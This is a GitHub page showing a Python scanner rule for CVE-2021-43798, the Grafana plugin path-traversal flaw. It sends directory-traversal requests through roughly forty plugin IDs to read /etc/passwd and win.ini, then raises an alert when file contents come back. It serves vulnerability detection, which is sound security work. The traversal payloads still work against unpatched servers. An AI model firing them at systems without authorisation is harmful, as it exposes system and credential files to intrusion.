-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2021-43798.py
80 lines (76 loc) · 5.07 KB
/
CVE-2021-43798.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
""" Reference:
- https://nosec.org/home/detail/4914.html
- https://github.com/jas502n/Grafana-VulnTips
- https://github.com/Mr-xn/CVE-2021-43798
- https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-43798.yaml
- https://twitter.com/pyn3rd/status/1468138032477859841
- https://twitter.com/naglinagli/status/1468155313182416899
"""
import re
def win_linux():
return ['etc/passwd','c:/windows/win.ini']
def matchs():
return ['root:.*:0:0', 'for 16-bit app support']
def paths():
path = ["/public/plugins/alertlist/../../../../../../../../../../../../../",
"/public/plugins/annolist/../../../../../../../../../../../../../",
"/public/plugins/barchart/../../../../../../../../../../../../../",
"/public/plugins/bargauge/../../../../../../../../../../../../../",
"/public/plugins/candlestick/../../../../../../../../../../../../../",
"/public/plugins/cloudwatch/../../../../../../../../../../../../../",
"/public/plugins/dashlist/../../../../../../../../../../../../../",
"/public/plugins/elasticsearch/../../../../../../../../../../../../../",
"/public/plugins/gauge/../../../../../../../../../../../../../",
"/public/plugins/geomap/../../../../../../../../../../../../../",
"/public/plugins/gettingstarted/../../../../../../../../../../../../../",
"/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../../../../../../",
"/public/plugins/graph/../../../../../../../../../../../../../",
"/public/plugins/heatmap/../../../../../../../../../../../../../",
"/public/plugins/histogram/../../../../../../../../../../../../../",
"/public/plugins/influxdb/../../../../../../../../../../../../../",
"/public/plugins/jaeger/../../../../../../../../../../../../../",
"/public/plugins/logs/../../../../../../../../../../../../../",
"/public/plugins/loki/../../../../../../../../../../../../../",
"/public/plugins/mssql/../../../../../../../../../../../../../",
"/public/plugins/mysql/../../../../../../../../../../../../../",
"/public/plugins/news/../../../../../../../../../../../../../",
"/public/plugins/nodeGraph/../../../../../../../../../../../../../",
"/public/plugins/opentsdb/../../../../../../../../../../../../../",
"/public/plugins/piechart/../../../../../../../../../../../../../",
"/public/plugins/pluginlist/../../../../../../../../../../../../../",
"/public/plugins/postgres/../../../../../../../../../../../../../",
"/public/plugins/prometheus/../../../../../../../../../../../../../",
"/public/plugins/stackdriver/../../../../../../../../../../../../../",
"/public/plugins/stat/../../../../../../../../../../../../../",
"/public/plugins/state-timeline/../../../../../../../../../../../../../",
"/public/plugins/status-histor/../../../../../../../../../../../../../",
"/public/plugins/table/../../../../../../../../../../../../../",
"/public/plugins/table-old/../../../../../../../../../../../../../",
"/public/plugins/tempo/../../../../../../../../../../../../../",
"/public/plugins/testdata/../../../../../../../../../../../../../",
"/public/plugins/text/../../../../../../../../../../../../../",
"/public/plugins/timeseries/../../../../../../../../../../../../../",
"/public/plugins/welcome/../../../../../../../../../../../../../",
"/public/plugins/zipkin/../../../../../../../../../../../../../",
"/public/plugins/grafana/../../../../../../../../../../../../../"]
return path
def gen_payload():
payload=[]
for i in paths():
for j in win_linux():
payload.append(i+j)
return payload
def scanNode(sas, msg):
for i in gen_payload():
msg = msg.cloneRequest();
msg.getRequestHeader().getURI().setPath(i)
sas.sendAndReceive(msg, False, False);
if ( re.match(matchs()[0],msg.getResponseBody().toString()) or re.match(matchs()[1],msg.getResponseBody().toString()) ) and msg.getResponseHeader().getStatusCode() == 200:
a = re.match(matchs()[0],msg.getResponseBody().toString()) or re.match(matchs()[1],msg.getResponseBody().toString())
sas.raiseAlert(3, 3, 'CVE-2021-43798', 'CVE-2021-43798 Grafana LFI', msg.getRequestHeader().getURI().toString(), '', 'Payload: '+i, 'Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: `<grafana_host_url>/public/plugins//`, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. The GitHub Security Advisory contains more information about vulnerable URL paths, mitigation, and the disclosure timeline.', '', a.group(),''' - https://nosec.org/home/detail/4914.html
- https://github.com/jas502n/Grafana-VulnTips
- https://github.com/Mr-xn/CVE-2021-43798
- https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-43798.yaml
- https://twitter.com/pyn3rd/status/1468138032477859841
- https://twitter.com/naglinagli/status/1468155313182416899''', 22, 0, msg)
break